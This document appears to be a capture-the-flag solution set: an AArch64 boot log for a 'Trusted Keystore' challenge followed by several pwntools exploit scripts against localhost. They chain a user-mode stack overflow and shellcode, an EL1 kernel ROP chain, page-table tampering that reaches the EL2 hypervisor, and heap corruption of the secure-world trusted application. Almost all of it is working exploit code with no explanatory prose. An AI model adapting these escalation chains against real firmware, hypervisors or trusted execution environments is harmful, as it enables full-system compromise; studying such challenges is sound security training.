NOTICE:  UART console initialized
INFO:    MMU: Mapping 0 - 0x2844 (783)
INFO:    MMU: Mapping 0xe000000 - 0xe204000 (40000000000703)
INFO:    MMU: Mapping 0x9000000 - 0x9001000 (40000000000703)
NOTICE:  MMU enabled
NOTICE:  BL1: HIT-BOOT v1.0
INFO:    BL1: RAM 0xe000000 - 0xe204000
INFO:      SCTLR_EL3: 30c5083b
INFO:      SCR_EL3:   00000738
INFO:    Entry point address = 0x40100000
INFO:    SPSR = 0x3c9
VERBOSE: Argument #0 = 0x0
VERBOSE: Argument #1 = 0x0
VERBOSE: Argument #2 = 0x0
VERBOSE: Argument #3 = 0x0
NOTICE:  UART console initialized
[VMM] RO_IPA: 00000000-0000c000
[VMM] RW_IPA: 0000c000-0003c000
[KERNEL] mmu enabled
INFO:      TEE PC: e400000
INFO:      TEE SPSR: 1d3
NOTICE:  TEE OS initialized
[KERNEL] Starting user program …

=== Trusted Keystore ===

Command:
    0 - Load key
    1 - Save key

cmd>

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64

def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())

def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)

p = remote("localhost", 6666)
elf = ELF("./el0")

pl = b"a" * 0x100
pl += p64(elf.symbols["print_flag"])
pl += p64(elf.symbols["print_flag"])
save_key(1, pl)

p.recvuntil(b"Flag (EL0): ")
FLAG = p.recvline()
log.info(f"FLAG : {FLAG.decode()}")

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(elf.symbols["gets"])
    pl += p64(elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(elf.symbols["main"] + 0x44)
    pl += p64(elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
elf = ELF("./el0")

el0_arbitrary_code_execute(
    f"""
    ldr x0, ={elf.symbols['print_flag']};\n
    blr x0;\n
    mov x0, #0;\n
    ldr x1, ={elf.symbols['exit']};\n
    blr x1;\n
    """
)

p.interactive()


p.recvuntil(b"Flag (EL0): ")
FLAG = p.recvline()
log.info(f"FLAG : {FLAG.decode()}")

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(el0_elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(el0_elf.symbols["main"] + 0x44)
    pl += p64(el0_elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def el1_return_oriented_programming(
    rop_chain: list[int], el0_additional_assembly: str = ""
) -> None:
    ROP_CHAIN_ADDR = 0xFFFFFFFFC0019C00
    EL1_SYSCALL_HANDLER_RET_ADDR = 0xFFFFFFFFC0019BB8

    rop_chain = b"".join([p64(gadget) for gadget in rop_chain])
    assert b"\n" not in rop_chain and len(rop_chain) <= 0x420

    el0_arbitrary_code_execute(
        f"""  
        mov x22, xzr;\n
        ldr x23, ={len(rop_chain)};\n
        ldr x24, ={ROP_CHAIN_ADDR};\n
        read_rop_chain:
            mov x0, 0;\n
            add x1, x24, x22;\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n

            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain

        mov x0, 0;\n
        ldr x1, ={hex(EL1_SYSCALL_HANDLER_RET_ADDR+1)};\n
        mov x2, 1;\n
        ldr x5, ={el0_elf.symbols['read']};\n
        blr x5;\n
        """
        + el0_additional_assembly
    )
    p.send(rop_chain)
    p.send(b"\x94")


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
el0_elf = ELF("./el0")

EL1_PRINT_FLAG = 0xFFFFFFFFC0008408
chain = [0, EL1_PRINT_FLAG]
el1_return_oriented_programming(chain)

p.recvuntil(b"Flag (EL1): ")
FLAG = p.recvline()[:-1]
print(f"Flag: {FLAG.decode()}")

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(el0_elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(el0_elf.symbols["main"] + 0x44)
    pl += p64(el0_elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def el1_return_oriented_programming(
    rop_chain: list[int],
    el0_head_assembly: str = "",
    head_input: bytes = b"",
    el0_tail_assembly: str = "",
    tail_input: bytes = b"",
) -> None:
    ROP_CHAIN_ADDR = 0xFFFFFFFFC0019C00
    EL1_SYSCALL_HANDLER_RET_ADDR = 0xFFFFFFFFC0019BB8

    rop_chain = rop_chain[:2] + [0] * 2 + rop_chain[2:]
    rop_chain = b"".join([p64(gadget) for gadget in rop_chain])
    assert b"\n" not in rop_chain and len(rop_chain) <= 0x420

    el0_arbitrary_code_execute(
        el0_head_assembly
        + f"""  
        mov x22, xzr;\n
        ldr x23, ={len(rop_chain)};\n
        ldr x24, ={ROP_CHAIN_ADDR};\n
        read_rop_chain:
            mov x0, 0;\n
            add x1, x24, x22;\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n

            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain

        mov x0, 0;\n
        ldr x1, ={hex(EL1_SYSCALL_HANDLER_RET_ADDR+1)};\n
        mov x2, 1;\n
        ldr x5, ={el0_elf.symbols['read']};\n
        blr x5;\n
        """
        + el0_tail_assembly
    )
    p.send(head_input)
    p.send(rop_chain)
    p.send(b"\x94")
    p.send(tail_input)


def el1_arbitrary_code_execute(assembly: str) -> None:
    NEW_MAP_ADDR = 0x7FFEFFFFB000
    DESCRIPTOR_TABLE_ADDR_OF_NEW_MAP = 0xFFFFFFFFC0028FD8
    chain = [0, NEW_MAP_ADDR]
    el1_return_oriented_programming(
        rop_chain=chain,
        el0_head_assembly=f"""
            mov x0, #0;\n
            ldr x1, ={hex(0x1000)};\n
            mov x2, #3;\n
            mov x3, xzr;\n
            mov x4, xzr;\n
            mov x5, #0xFFFFFFFFFFFFFFFF;\n
            ldr x6, ={el0_elf.symbols['mmap']};\n
            blr x6;\n

            mov x20, x0;\n

            ldr x6, ={el0_elf.symbols['gets']};\n
            blr x6;\n

            mov x0, x20;\n
            ldr x1, ={hex(0x1000)};\n
            mov x2, #5;\n
            ldr x6, ={el0_elf.symbols['mprotect']};\n
            blr x6;\n

            mov x0, 0;\n
            ldr x1, ={hex(DESCRIPTOR_TABLE_ADDR_OF_NEW_MAP+6)};\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n

            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        """,  # this mmap allocate NEW_MAP_ADDR(0x7ffeffffb000)-0x36000
        head_input=make_shellcode(assembly) + b"\n" + b"\x00",
    )


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
el0_elf = ELF("./el0")

EL1_PRINT_FLAG = 0xFFFFFFFFC0008408
EL1_EXIT = 0xFFFFFFFFC00091A4
el1_arbitrary_code_execute(
    f"""
    ldr x2, ={hex(EL1_PRINT_FLAG)};\n
    blr x2;\n

    ldr x2, ={hex(EL1_EXIT)};\n
    blr x2;\n
    """
)

p.recvuntil(b"Flag (EL1): ")
FLAG = p.recvline()[:-1]
print(f"Flag: {FLAG.decode()}")

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(el0_elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(el0_elf.symbols["main"] + 0x44)
    pl += p64(el0_elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def el1_return_oriented_programming(
    rop_chain: list[int],
    el0_head_assembly: str = "",
    head_input: bytes = b"",
    el0_tail_assembly: str = "",
    tail_input: bytes = b"",
) -> None:
    ROP_CHAIN_ADDR = 0xFFFFFFFFC0019C00
    EL1_SYSCALL_HANDLER_RET_ADDR = 0xFFFFFFFFC0019BB8

    rop_chain = rop_chain[:2] + [0] * 2 + rop_chain[2:]
    rop_chain = b"".join([p64(gadget) for gadget in rop_chain])
    assert b"\n" not in rop_chain and len(rop_chain) <= 0x420

    el0_arbitrary_code_execute(
        el0_head_assembly
        + f"""  
        mov x22, xzr;\n
        ldr x23, ={len(rop_chain)};\n
        ldr x24, ={ROP_CHAIN_ADDR};\n
        read_rop_chain:
            mov x0, 0;\n
            add x1, x24, x22;\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n

            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain

        mov x0, 0;\n
        ldr x1, ={hex(EL1_SYSCALL_HANDLER_RET_ADDR+1)};\n
        mov x2, 1;\n
        ldr x5, ={el0_elf.symbols['read']};\n
        blr x5;\n
        """
        + el0_tail_assembly
    )
    p.send(head_input)
    p.send(rop_chain)
    p.send(b"\x94")
    p.send(tail_input)


def el1_arbitrary_code_execute(assembly: str) -> None:
    NEW_PAGE_ADDR = 0x7FFEFFFFB000
    DESCRIPTOR_TABLE_ADDR_OF_NEW_PAGE = 0xFFFFFFFFC0028FD8
    chain = [0, NEW_PAGE_ADDR]
    el1_return_oriented_programming(
        rop_chain=chain,
        el0_head_assembly=f"""
            mov x0, #0;\n
            mov x1, 0x01000;\n
            mov x2, #3;\n
            mov x3, xzr;\n
            mov x4, xzr;\n
            mov x5, #0xFFFFFFFFFFFFFFFF;\n
            ldr x6, ={el0_elf.symbols['mmap']};\n
            blr x6;\n

            mov x20, x0;\n

            ldr x6, ={el0_elf.symbols['gets']};\n
            blr x6;\n

            mov x0, x20;\n
            mov x1, 0x01000;\n
            mov x2, #5;\n
            ldr x6, ={el0_elf.symbols['mprotect']};\n
            blr x6;\n

            mov x0, 0;\n
            ldr x1, ={hex(DESCRIPTOR_TABLE_ADDR_OF_NEW_PAGE+6)};\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n

            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        """,  # this mmap allocate NEW_MAP_ADDR(0x7ffeffffb000)-0x36000
        head_input=make_shellcode(assembly) + b"\n" + b"\x00",
    )


def el2_arbitrary_code_execute(assembly_or_shellcode: str | bytes) -> None:
    EL1_GET_CHAR = 0xFFFFFFFFC0009AD8
    if isinstance(assembly_or_shellcode, str):
        shellcode = make_shellcode(assembly_or_shellcode)
    else:
        shellcode = assembly_or_shellcode
    assert b"\n" not in shellcode and len(shellcode) < (0x1000 - 0xC)

    VA = 0xFFFFFFFFC0002000
    EL2_RWX = VA + 0xC
    EL1_DESCRIPTOR_TABLE_ADDR = 0xFFFFFFFFC001E010
    EL1_DESCRIPTOR = 0x2443

    TARGET_IPA_DESCRIPTOR = 0x40102000 | 0x443 | 0x80
    IPA_DESCRIPTOR = 0x100000 | 0x443
    IPA = 0x2000 | 0x80
    assert TARGET_IPA_DESCRIPTOR == ((IPA + 0x40000000) | IPA_DESCRIPTOR)
    el1_arbitrary_code_execute(
        f"""
        ldr x0, ={hex(EL1_DESCRIPTOR_TABLE_ADDR)};\n
        mov x1, #{hex(EL1_DESCRIPTOR)};\n
        str x1, [x0];\n

        mov x0, #1;\n
        ldr x1, ={hex(IPA)};\n
        ldr x2, ={hex(IPA_DESCRIPTOR)};\n
        hvc 0;\n

        ldr x20, ={hex(EL2_RWX)};\n
        mov x21, xzr;\n
        mov x22, #{len(shellcode)};\n
        read_el2_shellcode:
            ldr x0, ={hex(EL1_GET_CHAR)};\n
            blr x0;\n
            strb w0, [x20, x21];\n
            add x21, x21, 1\n
            cmp x21, x22\n
            b.lt read_el2_shellcode;\n

        mov x0, #1;\n
        mov x1, #2;\n
        mov x2, #3;\n
        hvc 0;\n
        """
    )

    p.send(shellcode)


def make_print_flag_shellcode(
    print_function: int, buf: int | str = "sp"
) -> str:
    assem = ""
    if isinstance(buf, int):
        assem += f"ldr x0, ={hex(buf)};\n"
    else:
        assem += f"mov x0, {buf};\n"

    shellcode = b""
    shellcode += make_shellcode(assem)
    GET_FLAG = [
        0xD53BFC01,
        0xB9000001,
        0xD53BFC21,
        0xB9000401,
        0xD53BFC41,
        0xB9000801,
        0xD53BFC61,
        0xB9000C01,
        0xD53BFC81,
        0xB9001001,
        0xD53BFCA1,
        0xB9001401,
        0xD53BFCC1,
        0xB9001801,
        0xD53BFCE1,
        0xB9001C01,
    ]
    for x in GET_FLAG:
        shellcode += p32(x)

    assem = f"""
    ldr x5, ={hex(print_function)};\n
    blr x5;\n

    nop;\n
    """
    shellcode += make_shellcode(assem)

    return shellcode


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
el0_elf = ELF("./el0")

EL2_PRINT_FUNCTION = 0x40101020
el2_arbitrary_code_execute(make_print_flag_shellcode(EL2_PRINT_FUNCTION))

FLAG = p.recvline()
print(f"Flag: {FLAG.decode()}")

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_32_shellcode(assembly: str) -> bytes:
    context.arch = "arm"
    context.bits = 32
    context.endian = "little"
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def make_thumb_shellcode(assembly: str) -> bytes:
    context.arch = "thumb"
    context.bits = 32
    context.endian = "little"
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def make_64_shellcode(assembly: str) -> bytes:
    context.arch = "aarch64"
    context.bits = 64
    context.endian = "little"
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(elf.symbols["gets"])
    pl += p64(elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_64_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(elf.symbols["main"] + 0x44)
    pl += p64(elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def sel0_arbitrary_code_execute(
    sel0_assem: str | bytes, el0_assem: str = ""
) -> None:
    SEL_WSM_ADDR = 0x2400000 - 0x2000
    TCI_BUF = 0x7FFEFFFFE000
    TCI_HANDLE = 0x23FE000

    def tc_tci_call(cmd: int, index: int, size: int, data: bytes) -> str:
        assert b"\n" not in data

        assem = f"""
        movz x1, #{hex(elf.symbols['gets'] & 0xFFFF)};\n
        movk x1, #{hex((elf.symbols['gets'] >> 16) & 0xFFFF)}, LSL #16;\n
        add x0, x28, #0x0C;\n
        blr x1;\n

        movz x0, #{hex(cmd)};\n
        str w0, [x28, #0];\n

        movz x0, #{hex(index)};\n
        str w0, [x28, #4];\n

        movz x0, #{hex(size&0xFFFF)};\n
        """
        if size > 0xFFFF:
            assem += f"""
            movk x0, #{hex(size>>16)}, LSL #16;\n
            """
        assem += f"""
        str w0, [x28, #8];\n

        movz x3, #{hex(elf.symbols['tc_tci_call'] & 0xFFFF)};\n
        movk x3, #{hex((elf.symbols['tc_tci_call'] >> 16) & 0xFFFF)}, LSL #16;\n
        movz x0, #{hex(TCI_HANDLE&0xFFFF)};\n
        movk x0, #{hex(TCI_HANDLE>>16)}, LSL #16;\n
        blr x3;\n
        """

        tc_tci_call.data += data + b"\n"
        return assem

    def tc_tci_call_flush() -> None:
        p.send(tc_tci_call.data)

    tc_tci_call.data = b""

    def asm_load_key(index: int) -> str:
        return tc_tci_call(2, index, 0, b"")

    def asm_save_key(index: int, size: int, data: bytes) -> str:
        return tc_tci_call(3, index, size, data)

    pl = b""
    pl += b"a" * 0x18

    pl += p32(0x20)  # prev_size
    pl += p32(0x21)  # size
    pl += b"a" * 0x18

    pl += p32(0x20)  # prev_size
    pl += p32(0x21)  # size
    pl += p32(0x10AE - 12)
    pl += p32(0xD6F241)
    pl += b"a" * 0x10

    pl += p32(0x20)  # prev_size
    pl += p32(0x30)  # size
    pl += b"a" * 0x28

    pl += p32(0)  # prev_size
    pl += p32(0x31)  # size

    if isinstance(sel0_assem, str):
        sel0_shellcode = make_thumb_shellcode(sel0_assem)
    else:
        sel0_shellcode = sel0_assem
    assert b"\n" not in sel0_shellcode and len(sel0_shellcode) <= 0x400
    pl += sel0_shellcode

    el0_arbitrary_code_execute(
        f"""
        ldr x28, ={hex(TCI_BUF)};\n

        {asm_save_key(2, 0x10, b'')}
        {asm_save_key(3, 0x10, b'')}
        {asm_save_key(4, 0x10, b'')}

        {asm_save_key(4, 0x20, b'')}
        {asm_save_key(2, 0x400, b'')}

        {asm_save_key(5, 0xFFFFFFF0, pl)}

        {asm_save_key(6, 0x10, b'')}

        {asm_load_key(2)}
        """
        + el0_assem
    )

    tc_tci_call_flush()


def sel0_get_flag_assembly() -> str:
    SEL_WSM_ADDR = 0x2400000 - 0x2000

    assem = f"""
    movw r0, #{hex(SEL_WSM_ADDR&0xFFFF)};\n
    movt r0, #{hex((SEL_WSM_ADDR>>16)&0xFFFF)};\n
    mov r2, r0;\n
    """

    for i in range(8):
        assem += f"""
        mrc p15, 3, r1, c15, c12, {i};\n
        str r1, [r0], #4;\n
        """
    assem += """
    mov r1, #0x0009;\n
    add r1, r1, 1;\n
    str r1, [r0], #4;\n

    svc #0x00;
    """

    return assem


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
elf = ELF("./el0")

SEL_WSM_ADDR = 0x2400000 - 0x2000
TCI_BUF = 0x7FFEFFFFE000
sel0_arbitrary_code_execute(
    sel0_get_flag_assembly(),
    f"""
    ldr x28, ={hex(TCI_BUF)};\n
    movz x3, #{hex(elf.symbols['puts'] & 0xFFFF)};\n
    movk x3, #{hex((elf.symbols['puts']>>16) & 0xFFFF)}, LSL #16;\n
    mov x0, x28;\n
    blr x3;\n
    """,
)
# b *0x7FFEFFFFD120

FLAG = p.recvline()
print(f"Flag: {FLAG.decode()}")

p.close()